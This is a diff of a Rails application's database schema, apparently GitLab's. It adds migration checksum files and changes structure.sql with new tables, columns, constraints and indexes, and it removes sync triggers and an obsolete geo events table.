index 00000000000..d152198f42c
--- /dev/null
+++ b/db/schema_migrations/20230111125148
@@ -0,0 +1 @@
+3df52ce2b3bfb29884d73cb69aa317ccca8f13c06a4e5cc6622347c52b599c50 \ No newline at end of file
diff --git a/db/schema_migrations/20230111125150 b/db/schema_migrations/20230111125150
new file mode 100644
index 00000000000..21009223bc2
--- /dev/null
+++ b/db/schema_migrations/20230111125150
@@ -0,0 +1 @@
+414c3da79aa6ae6b6a609b7dae715c0121f62d84a76400b745c0b8eaf27433e0 \ No newline at end of file
diff --git a/db/schema_migrations/20230111132621 b/db/schema_migrations/20230111132621
new file mode 100644
index 00000000000..c259e47ca6d
--- /dev/null
+++ b/db/schema_migrations/20230111132621
@@ -0,0 +1 @@
+d058410f8fd26f5a4d8b18b949ee1c8202b4b2eaa8c5589a81f14107f15cd9fd \ No newline at end of file
diff --git a/db/schema_migrations/20230112014822 b/db/schema_migrations/20230112014822
new file mode 100644
index 00000000000..84e276b6334
--- /dev/null
+++ b/db/schema_migrations/20230112014822
@@ -0,0 +1 @@
+2501bf572453b7d77759dfd0677e9f0a0ae35c6095a3df6fa841a4b698602186 \ No newline at end of file
diff --git a/db/schema_migrations/20230112085143 b/db/schema_migrations/20230112085143
new file mode 100644
index 00000000000..94f871c7ad8
--- /dev/null
+++ b/db/schema_migrations/20230112085143
@@ -0,0 +1 @@
+42bceeb42c208e733d3e7d88c89b9e85e0fb4947f5f8d3828586417fe8ed9ec6 \ No newline at end of file
diff --git a/db/schema_migrations/20230112104253 b/db/schema_migrations/20230112104253
new file mode 100644
index 00000000000..dd1f7237448
--- /dev/null
+++ b/db/schema_migrations/20230112104253
@@ -0,0 +1 @@
+e15e005b840e8d6037548d2abec3ddbae9698ce29e41ac63b134cfc57361d311 \ No newline at end of file
diff --git a/db/schema_migrations/20230112104526 b/db/schema_migrations/20230112104526
new file mode 100644
index 00000000000..6f7dc070f72
--- /dev/null
+++ b/db/schema_migrations/20230112104526
@@ -0,0 +1 @@
+7824b001286975b284a1cc9dafd58e8959d9f9560a283b139551542bea82b128 \ No newline at end of file
diff --git a/db/schema_migrations/20230112104636 b/db/schema_migrations/20230112104636
new file mode 100644
index 00000000000..ed9fbf67d97
--- /dev/null
+++ b/db/schema_migrations/20230112104636
@@ -0,0 +1 @@
+ec9497e49f2b1289c144abf50aeb288fdbdf9543cf87bb874054bf6bb51c645f \ No newline at end of file
diff --git a/db/schema_migrations/20230113003255 b/db/schema_migrations/20230113003255
new file mode 100644
index 00000000000..21c60171eb8
--- /dev/null
+++ b/db/schema_migrations/20230113003255
@@ -0,0 +1 @@
+b10da671ade6a312cdd41f9800c301642c81da8e04fcaa3ea322ef9923d18933 \ No newline at end of file
diff --git a/db/schema_migrations/20230116083826 b/db/schema_migrations/20230116083826
new file mode 100644
index 00000000000..599661ce5bf
--- /dev/null
+++ b/db/schema_migrations/20230116083826
@@ -0,0 +1 @@
+505406e54c5351b1f6dee8a393e5fbfeb23240f007434724f6d096b64ba5cbcf \ No newline at end of file
diff --git a/db/schema_migrations/20230116090630 b/db/schema_migrations/20230116090630
new file mode 100644
index 00000000000..85667e15379
--- /dev/null
+++ b/db/schema_migrations/20230116090630
@@ -0,0 +1 @@
+44d8f6ad5cf6c62ddf8c2ce2580b9d3edcf7ce25a87a580acf3bef0e9db42317 \ No newline at end of file
diff --git a/db/schema_migrations/20230116090852 b/db/schema_migrations/20230116090852
new file mode 100644
index 00000000000..8f4fc0e17c1
--- /dev/null
+++ b/db/schema_migrations/20230116090852
@@ -0,0 +1 @@
+01a0c8d8e168068dd127d9763705736ace4420d69cae30be54d2a62bce40e855 \ No newline at end of file
diff --git a/db/schema_migrations/20230116090920 b/db/schema_migrations/20230116090920
new file mode 100644
index 00000000000..89b5ca6744c
--- /dev/null
+++ b/db/schema_migrations/20230116090920
@@ -0,0 +1 @@
+828d17a6ea6658e6f8b8638564e4bb08fd224b19245349b19903396f86c4e276 \ No newline at end of file
diff --git a/db/schema_migrations/20230116091626 b/db/schema_migrations/20230116091626
new file mode 100644
index 00000000000..93b2c333c5b
--- /dev/null
+++ b/db/schema_migrations/20230116091626
@@ -0,0 +1 @@
+5087e055f633fba07d4aa1f50c2172d5da71c1d1d34426d291e99ac30f077667 \ No newline at end of file
diff --git a/db/schema_migrations/20230116111252 b/db/schema_migrations/20230116111252
new file mode 100644
index 00000000000..bee6cdeb031
--- /dev/null
+++ b/db/schema_migrations/20230116111252
@@ -0,0 +1 @@
+a849b6e387cf0fb2dffd67674062d0b283853ad582546d49c782b9120f075383 \ No newline at end of file
diff --git a/db/schema_migrations/20230117113719 b/db/schema_migrations/20230117113719
new file mode 100644
index 00000000000..abdccc39a80
--- /dev/null
+++ b/db/schema_migrations/20230117113719
@@ -0,0 +1 @@
+d0aac8e7bdb605eec1f3d60aa06db81e36d0069b79a15a89f4a076889dd68edc \ No newline at end of file
diff --git a/db/schema_migrations/20230117145628 b/db/schema_migrations/20230117145628
new file mode 100644
index 00000000000..62411cc9be8
--- /dev/null
+++ b/db/schema_migrations/20230117145628
@@ -0,0 +1 @@
+9e6ebddf8723cd07222099bba07c97a8747abe9ea21f07c7ee7875e769cde4a4 \ No newline at end of file
diff --git a/db/structure.sql b/db/structure.sql
index 72d9c94be49..ec8f3362c40 100644
--- a/db/structure.sql
+++ b/db/structure.sql
@@ -225,24 +225,6 @@ RETURN NULL;
END
$$;
-CREATE FUNCTION sync_namespaces_amount_used_columns() RETURNS trigger
- LANGUAGE plpgsql
- AS $$
-BEGIN
- NEW."new_amount_used" := NEW."amount_used";
- RETURN NEW;
-END;
-$$;
-
-CREATE FUNCTION sync_projects_amount_used_columns() RETURNS trigger
- LANGUAGE plpgsql
- AS $$
-BEGIN
- NEW."new_amount_used" := NEW."amount_used";
- RETURN NEW;
-END;
-$$;
-
CREATE FUNCTION trigger_1a857e8db6cd() RETURNS trigger
LANGUAGE plpgsql
AS $$
@@ -10602,7 +10584,10 @@ CREATE TABLE abuse_reports (
created_at timestamp without time zone,
updated_at timestamp without time zone,
message_html text,
- cached_markdown_version integer
+ cached_markdown_version integer,
+ category smallint DEFAULT 1 NOT NULL,
+ reported_from_url text DEFAULT ''::text NOT NULL,
+ CONSTRAINT check_ab1260fa6c CHECK ((char_length(reported_from_url) <= 512))
);
CREATE SEQUENCE abuse_reports_id_seq
@@ -10966,6 +10951,21 @@ CREATE SEQUENCE analytics_cycle_analytics_stage_event_hashes_id_seq
ALTER SEQUENCE analytics_cycle_analytics_stage_event_hashes_id_seq OWNED BY analytics_cycle_analytics_stage_event_hashes.id;
+CREATE TABLE analytics_dashboards_pointers (
+ id bigint NOT NULL,
+ namespace_id bigint NOT NULL,
+ project_id bigint NOT NULL
+);
+
+CREATE SEQUENCE analytics_dashboards_pointers_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE analytics_dashboards_pointers_id_seq OWNED BY analytics_dashboards_pointers.id;
+
CREATE TABLE analytics_devops_adoption_segments (
id bigint NOT NULL,
last_recorded_at timestamp with time zone,
@@ -11063,9 +11063,11 @@ CREATE TABLE appearances (
email_header_and_footer_enabled boolean DEFAULT false NOT NULL,
profile_image_guidelines text,
profile_image_guidelines_html text,
- short_title text,
+ pwa_short_name text,
+ pwa_icon text,
CONSTRAINT appearances_profile_image_guidelines CHECK ((char_length(profile_image_guidelines) <= 4096)),
- CONSTRAINT check_fdf3064682 CHECK ((char_length(short_title) <= 255))
+ CONSTRAINT check_5c3fd63577 CHECK ((char_length(pwa_short_name) <= 255)),
+ CONSTRAINT check_5e5b7ac344 CHECK ((char_length(pwa_icon) <= 1024))
);
CREATE SEQUENCE appearances_id_seq
@@ -11557,6 +11559,8 @@ CREATE TABLE application_settings (
disable_personal_access_tokens boolean DEFAULT false NOT NULL,
max_terraform_state_size_bytes integer DEFAULT 0 NOT NULL,
bulk_import_enabled boolean DEFAULT false NOT NULL,
+ allow_runner_registration_token boolean DEFAULT true NOT NULL,
+ user_defaults_to_private_profile boolean DEFAULT false NOT NULL,
CONSTRAINT app_settings_container_reg_cleanup_tags_max_list_size_positive CHECK ((container_registry_cleanup_tags_service_max_list_size >= 0)),
CONSTRAINT app_settings_container_registry_pre_import_tags_rate_positive CHECK ((container_registry_pre_import_tags_rate >= (0)::numeric)),
CONSTRAINT app_settings_dep_proxy_ttl_policies_worker_capacity_positive CHECK ((dependency_proxy_ttl_group_policy_worker_capacity >= 0)),
@@ -11881,7 +11885,7 @@ CREATE TABLE atlassian_identities (
encrypted_refresh_token bytea,
encrypted_refresh_token_iv bytea,
CONSTRAINT atlassian_identities_refresh_token_iv_length_constraint CHECK ((octet_length(encrypted_refresh_token_iv) <= 12)),
- CONSTRAINT atlassian_identities_refresh_token_length_constraint CHECK ((octet_length(encrypted_refresh_token) <= 512)),
+ CONSTRAINT atlassian_identities_refresh_token_length_constraint CHECK ((octet_length(encrypted_refresh_token) <= 5000)),
CONSTRAINT atlassian_identities_token_iv_length_constraint CHECK ((octet_length(encrypted_token_iv) <= 12)),
CONSTRAINT atlassian_identities_token_length_constraint CHECK ((octet_length(encrypted_token) <= 2048)),
CONSTRAINT check_32f5779763 CHECK ((char_length(extern_uid) <= 255))
@@ -12440,6 +12444,7 @@ CREATE TABLE bulk_import_entities (
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
source_xid integer,
+ migrate_projects boolean DEFAULT true NOT NULL,
CONSTRAINT check_13f279f7da CHECK ((char_length(source_full_path) <= 255)),
CONSTRAINT check_715d725ea2 CHECK ((char_length(destination_name) <= 255)),
CONSTRAINT check_796a4d9cc6 CHECK ((char_length(jid) <= 255)),
@@ -12576,8 +12581,7 @@ CREATE TABLE chat_names (
last_used_at timestamp without time zone,
created_at timestamp without time zone NOT NULL,
updated_at timestamp without time zone NOT NULL,
- integration_id integer,
- CONSTRAINT check_2b0a0d0f0f CHECK ((integration_id IS NOT NULL))
+ integration_id integer
);
CREATE SEQUENCE chat_names_id_seq
@@ -12757,7 +12761,8 @@ CREATE TABLE p_ci_builds_metadata (
runtime_runner_features jsonb DEFAULT '{}'::jsonb NOT NULL,
id_tokens jsonb DEFAULT '{}'::jsonb NOT NULL,
partition_id bigint DEFAULT 100 NOT NULL,
- debug_trace_enabled boolean DEFAULT false NOT NULL
+ debug_trace_enabled boolean DEFAULT false NOT NULL,
+ runner_machine_id bigint
)
PARTITION BY LIST (partition_id);
@@ -12786,7 +12791,8 @@ CREATE TABLE ci_builds_metadata (
runtime_runner_features jsonb DEFAULT '{}'::jsonb NOT NULL,
id_tokens jsonb DEFAULT '{}'::jsonb NOT NULL,
partition_id bigint DEFAULT 100 NOT NULL,
- debug_trace_enabled boolean DEFAULT false NOT NULL
+ debug_trace_enabled boolean DEFAULT false NOT NULL,
+ runner_machine_id bigint
);
ALTER TABLE ONLY p_ci_builds_metadata ATTACH PARTITION ci_builds_metadata FOR VALUES IN ('100');
@@ -12945,6 +12951,7 @@ CREATE TABLE ci_job_artifacts (
locked smallint DEFAULT 2,
original_filename text,
partition_id bigint DEFAULT 100 NOT NULL,
+ accessibility smallint DEFAULT 0 NOT NULL,
CONSTRAINT check_27f0f6dbab CHECK ((file_store IS NOT NULL)),
CONSTRAINT check_85573000db CHECK ((char_length(original_filename) <= 512))
);
@@ -13036,11 +13043,10 @@ CREATE TABLE ci_namespace_monthly_usages (
id bigint NOT NULL,
namespace_id bigint NOT NULL,
date date NOT NULL,
- amount_used numeric(18,2) DEFAULT 0.0 NOT NULL,
notification_level smallint DEFAULT 100 NOT NULL,
shared_runners_duration integer DEFAULT 0 NOT NULL,
created_at timestamp with time zone,
- new_amount_used numeric(18,4) DEFAULT 0.0 NOT NULL,
+ amount_used numeric(18,4) DEFAULT 0.0 NOT NULL,
CONSTRAINT ci_namespace_monthly_usages_year_month_constraint CHECK ((date = date_trunc('month'::text, (date)::timestamp with time zone)))
);
@@ -13319,10 +13325,9 @@ CREATE TABLE ci_project_monthly_usages (
id bigint NOT NULL,
project_id bigint NOT NULL,
date date NOT NULL,
- amount_used numeric(18,2) DEFAULT 0.0 NOT NULL,
shared_runners_duration integer DEFAULT 0 NOT NULL,
created_at timestamp with time zone,
- new_amount_used numeric(18,4) DEFAULT 0.0 NOT NULL,
+ amount_used numeric(18,4) DEFAULT 0.0 NOT NULL,
CONSTRAINT ci_project_monthly_usages_year_month_constraint CHECK ((date = date_trunc('month'::text, (date)::timestamp with time zone)))
);
@@ -13388,6 +13393,37 @@ CREATE SEQUENCE ci_resources_id_seq
ALTER SEQUENCE ci_resources_id_seq OWNED BY ci_resources.id;
+CREATE TABLE ci_runner_machines (
+ id bigint NOT NULL,
+ runner_id bigint NOT NULL,
+ executor_type smallint,
+ machine_xid text NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ contacted_at timestamp with time zone,
+ version text,
+ revision text,
+ platform text,
+ architecture text,
+ ip_address text,
+ config jsonb DEFAULT '{}'::jsonb NOT NULL,
+ CONSTRAINT check_1537c1f66f CHECK ((char_length(platform) <= 255)),
+ CONSTRAINT check_6f45a91da7 CHECK ((char_length(version) <= 2048)),
+ CONSTRAINT check_84ed5d8703 CHECK ((char_length(machine_xid) <= 64)),
+ CONSTRAINT check_9b521b3105 CHECK ((char_length(architecture) <= 255)),
+ CONSTRAINT check_afb8efc1a2 CHECK ((char_length(revision) <= 255)),
+ CONSTRAINT check_f214590856 CHECK ((char_length(ip_address) <= 1024))
+);
+
+CREATE SEQUENCE ci_runner_machines_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_runner_machines_id_seq OWNED BY ci_runner_machines.id;
+
CREATE TABLE ci_runner_namespaces (
id integer NOT NULL,
runner_id integer,
@@ -13453,6 +13489,8 @@ CREATE TABLE ci_runners (
maintainer_note text,
token_expires_at timestamp with time zone,
allowed_plans text[] DEFAULT '{}'::text[] NOT NULL,
+ registration_type smallint DEFAULT 0 NOT NULL,
+ creator_id bigint,
CONSTRAINT check_ce275cee06 CHECK ((char_length(maintainer_note) <= 1024))
);
@@ -15134,6 +15172,14 @@ CREATE SEQUENCE draft_notes_id_seq
ALTER SEQUENCE draft_notes_id_seq OWNED BY draft_notes.id;
+CREATE TABLE elastic_group_index_statuses (
+ namespace_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ wiki_indexed_at timestamp with time zone,
+ last_wiki_commit bytea
+);
+
CREATE TABLE elastic_index_settings (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -15667,20 +15713,6 @@ CREATE SEQUENCE geo_cache_invalidation_events_id_seq
ALTER SEQUENCE geo_cache_invalidation_events_id_seq OWNED BY geo_cache_invalidation_events.id;
-CREATE TABLE geo_container_repository_updated_events (
- id bigint NOT NULL,
- container_repository_id integer NOT NULL
-);
-
-CREATE SEQUENCE geo_container_repository_updated_events_id_seq
- START WITH 1
- INCREMENT BY 1
- NO MINVALUE
- NO MAXVALUE
- CACHE 1;
-
-ALTER SEQUENCE geo_container_repository_updated_events_id_seq OWNED BY geo_container_repository_updated_events.id;
-
CREATE TABLE geo_event_log (
id bigint NOT NULL,
created_at timestamp without time zone NOT NULL,
@@ -15693,7 +15725,6 @@ CREATE TABLE geo_event_log (
hashed_storage_attachments_event_id bigint,
reset_checksum_event_id bigint,
cache_invalidation_event_id bigint,
- container_repository_updated_event_id bigint,
geo_event_id integer
);
@@ -16714,6 +16745,7 @@ CREATE TABLE integrations (
archive_trace_events boolean DEFAULT false NOT NULL,
encrypted_properties bytea,
encrypted_properties_iv bytea,
+ incident_events boolean DEFAULT false NOT NULL,
CONSTRAINT check_a948a0aa7e CHECK ((char_length(type_new) <= 255))
);
@@ -18016,7 +18048,9 @@ CREATE TABLE ml_candidates (
user_id bigint,
start_time bigint,
end_time bigint,
- status smallint DEFAULT 0 NOT NULL
+ status smallint DEFAULT 0 NOT NULL,
+ name text,
+ CONSTRAINT check_25e6c65051 CHECK ((char_length(name) <= 255))
);
CREATE SEQUENCE ml_candidates_id_seq
@@ -18214,6 +18248,7 @@ CREATE TABLE namespace_settings (
only_allow_merge_if_all_discussions_are_resolved boolean DEFAULT false NOT NULL,
default_compliance_framework_id bigint,
runner_registration_enabled boolean DEFAULT true,
+ allow_runner_registration_token boolean DEFAULT true NOT NULL,
CONSTRAINT check_0ba93c78c7 CHECK ((char_length(default_branch_name) <= 255)),
CONSTRAINT namespace_settings_unique_project_download_limit_allowlist_size CHECK ((cardinality(unique_project_download_limit_allowlist) <= 100))
);
@@ -19551,7 +19586,10 @@ CREATE TABLE plan_limits (
ci_max_artifact_size_cyclonedx integer DEFAULT 1 NOT NULL,
rpm_max_file_size bigint DEFAULT '5368709120'::bigint NOT NULL,
ci_max_artifact_size_requirements_v2 integer DEFAULT 0 NOT NULL,
- pipeline_hierarchy_size integer DEFAULT 1000 NOT NULL
+ pipeline_hierarchy_size integer DEFAULT 1000 NOT NULL,
+ enforcement_limit integer DEFAULT 0 NOT NULL,
+ notification_limit integer DEFAULT 0 NOT NULL,
+ dashboard_limit_enabled_at timestamp with time zone
);
CREATE SEQUENCE plan_limits_id_seq
@@ -19705,12 +19743,24 @@ CREATE VIEW postgres_foreign_keys AS
SELECT pg_constraint.oid,
pg_constraint.conname AS name,
(((constrained_namespace.nspname)::text || '.'::text) || (constrained_table.relname)::text) AS constrained_table_identifier,
- (((referenced_namespace.nspname)::text || '.'::text) || (referenced_table.relname)::text) AS referenced_table_identifier
- FROM ((((pg_constraint
+ (((referenced_namespace.nspname)::text || '.'::text) || (referenced_table.relname)::text) AS referenced_table_identifier,
+ (constrained_table.relname)::text AS constrained_table_name,
+ (referenced_table.relname)::text AS referenced_table_name,
+ constrained_cols.constrained_columns,
+ referenced_cols.referenced_columns,
+ pg_constraint.confdeltype AS on_delete_action,
+ (pg_constraint.coninhcount > 0) AS is_inherited
+ FROM ((((((pg_constraint
JOIN pg_class constrained_table ON ((constrained_table.oid = pg_constraint.conrelid)))
JOIN pg_class referenced_table ON ((referenced_table.oid = pg_constraint.confrelid)))
JOIN pg_namespace constrained_namespace ON ((constrained_table.relnamespace = constrained_namespace.oid)))
JOIN pg_namespace referenced_namespace ON ((referenced_table.relnamespace = referenced_namespace.oid)))
+ CROSS JOIN LATERAL ( SELECT array_agg(pg_attribute.attname ORDER BY conkey.idx) AS array_agg
+ FROM (unnest(pg_constraint.conkey) WITH ORDINALITY conkey(attnum, idx)
+ JOIN pg_attribute ON (((pg_attribute.attnum = conkey.attnum) AND (pg_attribute.attrelid = constrained_table.oid))))) constrained_cols(constrained_columns))
+ CROSS JOIN LATERAL ( SELECT array_agg(pg_attribute.attname ORDER BY confkey.idx) AS array_agg
+ FROM (unnest(pg_constraint.confkey) WITH ORDINALITY confkey(attnum, idx)
+ JOIN pg_attribute ON (((pg_attribute.attnum = confkey.attnum) AND (pg_attribute.attrelid = referenced_table.oid))))) referenced_cols(referenced_columns))
WHERE (pg_constraint.contype = 'f'::"char");
CREATE VIEW postgres_index_bloat_estimates AS
@@ -21115,7 +21165,8 @@ CREATE TABLE requirements_management_test_reports (
author_id bigint,
state smallint NOT NULL,
build_id bigint,
- issue_id bigint
+ issue_id bigint,
+ uses_legacy_iid boolean DEFAULT true NOT NULL
);
CREATE SEQUENCE requirements_management_test_reports_id_seq
@@ -21376,7 +21427,8 @@ CREATE TABLE sbom_occurrences (
pipeline_id bigint,
source_id bigint,
commit_sha bytea NOT NULL,
- component_id bigint NOT NULL
+ component_id bigint NOT NULL,
+ uuid uuid NOT NULL
);
CREATE SEQUENCE sbom_occurrences_id_seq
@@ -21929,7 +21981,9 @@ CREATE TABLE ssh_signatures (
project_id bigint NOT NULL,
key_id bigint,
verification_status smallint DEFAULT 0 NOT NULL,
- commit_sha bytea NOT NULL
+ commit_sha bytea NOT NULL,
+ user_id bigint,
+ key_fingerprint_sha256 bytea
);
CREATE SEQUENCE ssh_signatures_id_seq
@@ -22380,6 +22434,26 @@ CREATE SEQUENCE uploads_id_seq
ALTER SEQUENCE uploads_id_seq OWNED BY uploads.id;
+CREATE TABLE user_achievements (
+ id bigint NOT NULL,
+ achievement_id bigint NOT NULL,
+ user_id bigint NOT NULL,
+ awarded_by_user_id bigint,
+ revoked_by_user_id bigint,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ revoked_at timestamp with time zone
+);
+
+CREATE SEQUENCE user_achievements_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE user_achievements_id_seq OWNED BY user_achievements.id;
+
CREATE TABLE user_agent_details (
id integer NOT NULL,
user_agent character varying NOT NULL,
@@ -23710,6 +23784,8 @@ ALTER TABLE ONLY analytics_cycle_analytics_project_value_streams ALTER COLUMN id
ALTER TABLE ONLY analytics_cycle_analytics_stage_event_hashes ALTER COLUMN id SET DEFAULT nextval('analytics_cycle_analytics_stage_event_hashes_id_seq'::regclass);
+ALTER TABLE ONLY analytics_dashboards_pointers ALTER COLUMN id SET DEFAULT nextval('analytics_dashboards_pointers_id_seq'::regclass);
+
ALTER TABLE ONLY analytics_devops_adoption_segments ALTER COLUMN id SET DEFAULT nextval('analytics_devops_adoption_segments_id_seq'::regclass);
ALTER TABLE ONLY analytics_devops_adoption_snapshots ALTER COLUMN id SET DEFAULT nextval('analytics_devops_adoption_snapshots_id_seq'::regclass);
@@ -23876,6 +23952,8 @@ ALTER TABLE ONLY ci_resource_groups ALTER COLUMN id SET DEFAULT nextval('ci_reso
ALTER TABLE ONLY ci_resources ALTER COLUMN id SET DEFAULT nextval('ci_resources_id_seq'::regclass);
+ALTER TABLE ONLY ci_runner_machines ALTER COLUMN id SET DEFAULT nextval('ci_runner_machines_id_seq'::regclass);
+
ALTER TABLE ONLY ci_runner_namespaces ALTER COLUMN id SET DEFAULT nextval('ci_runner_namespaces_id_seq'::regclass);
ALTER TABLE ONLY ci_runner_projects ALTER COLUMN id SET DEFAULT nextval('ci_runner_projects_id_seq'::regclass);
@@ -24074,8 +24152,6 @@ ALTER TABLE ONLY fork_networks ALTER COLUMN id SET DEFAULT nextval('fork_network
ALTER TABLE ONLY geo_cache_invalidation_events ALTER COLUMN id SET DEFAULT nextval('geo_cache_invalidation_events_id_seq'::regclass);
-ALTER TABLE ONLY geo_container_repository_updated_events ALTER COLUMN id SET DEFAULT nextval('geo_container_repository_updated_events_id_seq'::regclass);
-
ALTER TABLE ONLY geo_event_log ALTER COLUMN id SET DEFAULT nextval('geo_event_log_id_seq'::regclass);
ALTER TABLE ONLY geo_events ALTER COLUMN id SET DEFAULT nextval('geo_events_id_seq'::regclass);
@@ -24634,6 +24710,8 @@ ALTER TABLE ONLY upload_states ALTER COLUMN upload_id SET DEFAULT nextval('uploa
ALTER TABLE ONLY uploads ALTER COLUMN id SET DEFAULT nextval('uploads_id_seq'::regclass);
+ALTER TABLE ONLY user_achievements ALTER COLUMN id SET DEFAULT nextval('user_achievements_id_seq'::regclass);
+
ALTER TABLE ONLY user_agent_details ALTER COLUMN id SET DEFAULT nextval('user_agent_details_id_seq'::regclass);
ALTER TABLE ONLY user_callouts ALTER COLUMN id SET DEFAULT nextval('user_callouts_id_seq'::regclass);
@@ -25377,6 +25455,9 @@ ALTER TABLE ONLY analytics_cycle_analytics_project_value_streams
ALTER TABLE ONLY analytics_cycle_analytics_stage_event_hashes
ADD CONSTRAINT analytics_cycle_analytics_stage_event_hashes_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY analytics_dashboards_pointers
+ ADD CONSTRAINT analytics_dashboards_pointers_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY analytics_devops_adoption_segments
ADD CONSTRAINT analytics_devops_adoption_segments_pkey PRIMARY KEY (id);
@@ -25677,6 +25758,9 @@ ALTER TABLE ONLY ci_resource_groups
ALTER TABLE ONLY ci_resources
ADD CONSTRAINT ci_resources_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY ci_runner_machines
+ ADD CONSTRAINT ci_runner_machines_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY ci_runner_namespaces
ADD CONSTRAINT ci_runner_namespaces_pkey PRIMARY KEY (id);
@@ -25935,6 +26019,9 @@ ALTER TABLE ONLY dora_daily_metrics
ALTER TABLE ONLY draft_notes
ADD CONSTRAINT draft_notes_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY elastic_group_index_statuses
+ ADD CONSTRAINT elastic_group_index_statuses_pkey PRIMARY KEY (namespace_id);
+
ALTER TABLE ONLY elastic_index_settings
ADD CONSTRAINT elastic_index_settings_pkey PRIMARY KEY (id);
@@ -26016,9 +26103,6 @@ ALTER TABLE ONLY fork_networks
ALTER TABLE ONLY geo_cache_invalidation_events
ADD CONSTRAINT geo_cache_invalidation_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY geo_container_repository_updated_events
- ADD CONSTRAINT geo_container_repository_updated_events_pkey PRIMARY KEY (id);
-
ALTER TABLE ONLY geo_event_log
ADD CONSTRAINT geo_event_log_pkey PRIMARY KEY (id);
@@ -26997,6 +27081,9 @@ ALTER TABLE ONLY upload_states
ALTER TABLE ONLY uploads
ADD CONSTRAINT uploads_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY user_achievements
+ ADD CONSTRAINT user_achievements_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY user_agent_details
ADD CONSTRAINT user_agent_details_pkey PRIMARY KEY (id);
@@ -28209,8 +28296,6 @@ CREATE UNIQUE INDEX idx_environment_merge_requests_unique_index ON deployment_me
CREATE UNIQUE INDEX idx_external_audit_event_destination_id_key_uniq ON audit_events_streaming_headers USING btree (key, external_audit_event_destination_id);
-CREATE INDEX idx_geo_con_rep_updated_events_on_container_repository_id ON geo_container_repository_updated_events USING btree (container_repository_id);
-
CREATE INDEX idx_installable_conan_pkgs_on_project_id_id ON packages_packages USING btree (project_id, id) WHERE ((package_type = 3) AND (status = ANY (ARRAY[0, 1])));
CREATE INDEX idx_installable_helm_pkgs_on_project_id_id ON packages_packages USING btree (project_id, id);
@@ -28237,6 +28322,8 @@ CREATE INDEX idx_keys_expires_at_and_before_expiry_notification_undelivered ON k
CREATE INDEX idx_members_created_at_user_id_invite_token ON members USING btree (created_at) WHERE ((invite_token IS NOT NULL) AND (user_id IS NULL));
+CREATE INDEX idx_members_on_user_and_source_and_source_type_and_member_role ON members USING btree (user_id, source_id, source_type, member_role_id);
+
CREATE INDEX idx_merge_requests_on_id_and_merge_jid ON merge_requests USING btree (id, merge_jid) WHERE ((merge_jid IS NOT NULL) AND (state_id = 4));
CREATE INDEX idx_merge_requests_on_merged_state ON merge_requests USING btree (id) WHERE (state_id = 3);
@@ -28429,6 +28516,10 @@ CREATE UNIQUE INDEX index_analytics_ca_project_value_streams_on_project_id_and_n
CREATE INDEX index_analytics_cycle_analytics_group_stages_custom_only ON analytics_cycle_analytics_group_stages USING btree (id) WHERE (custom = true);
+CREATE UNIQUE INDEX index_analytics_dashboards_pointers_on_namespace_id ON analytics_dashboards_pointers USING btree (namespace_id);
+
+CREATE INDEX index_analytics_dashboards_pointers_on_project_id ON analytics_dashboards_pointers USING btree (project_id);
+
CREATE INDEX index_application_settings_on_custom_project_templates_group_id ON application_settings USING btree (custom_project_templates_group_id);
CREATE INDEX index_application_settings_on_file_template_project_id ON application_settings USING btree (file_template_project_id);
@@ -28631,11 +28722,9 @@ CREATE INDEX index_bulk_import_failures_on_correlation_id_value ON bulk_import_f
CREATE INDEX index_bulk_imports_on_user_id ON bulk_imports USING btree (user_id);
-CREATE UNIQUE INDEX index_chat_names_on_integration_id_and_team_id_and_chat_id ON chat_names USING btree (integration_id, team_id, chat_id);
-
CREATE INDEX index_chat_names_on_team_id_and_chat_id ON chat_names USING btree (team_id, chat_id);
-CREATE UNIQUE INDEX index_chat_names_on_user_id_and_integration_id ON chat_names USING btree (user_id, integration_id);
+CREATE INDEX index_chat_names_on_user_id ON chat_names USING btree (user_id);
CREATE UNIQUE INDEX index_chat_teams_on_namespace_id ON chat_teams USING btree (namespace_id);
@@ -28643,10 +28732,14 @@ CREATE UNIQUE INDEX index_ci_build_needs_on_build_id_and_name ON ci_build_needs
CREATE UNIQUE INDEX index_ci_build_pending_states_on_build_id ON ci_build_pending_states USING btree (build_id);
+CREATE INDEX index_ci_build_pending_states_on_partition_id_build_id ON ci_build_pending_states USING btree (partition_id, build_id);
+
CREATE INDEX index_ci_build_report_results_on_project_id ON ci_build_report_results USING btree (project_id);
CREATE UNIQUE INDEX index_ci_build_trace_chunks_on_build_id_and_chunk_index ON ci_build_trace_chunks USING btree (build_id, chunk_index);
+CREATE INDEX index_ci_build_trace_chunks_on_partition_id_build_id ON ci_build_trace_chunks USING btree (partition_id, build_id);
+
CREATE INDEX index_ci_build_trace_metadata_on_trace_artifact_id ON ci_build_trace_metadata USING btree (trace_artifact_id);
CREATE INDEX p_ci_builds_metadata_build_id_idx ON ONLY p_ci_builds_metadata USING btree (build_id) WHERE (has_exposed_artifacts IS TRUE);
@@ -28803,6 +28896,8 @@ CREATE INDEX index_ci_pipeline_metadata_on_project_id ON ci_pipeline_metadata US
CREATE UNIQUE INDEX index_ci_pipeline_schedule_variables_on_schedule_id_and_key ON ci_pipeline_schedule_variables USING btree (pipeline_schedule_id, key);
+CREATE INDEX index_ci_pipeline_schedules_on_id_and_next_run_at_and_active ON ci_pipeline_schedules USING btree (id, next_run_at) WHERE (active = true);
+
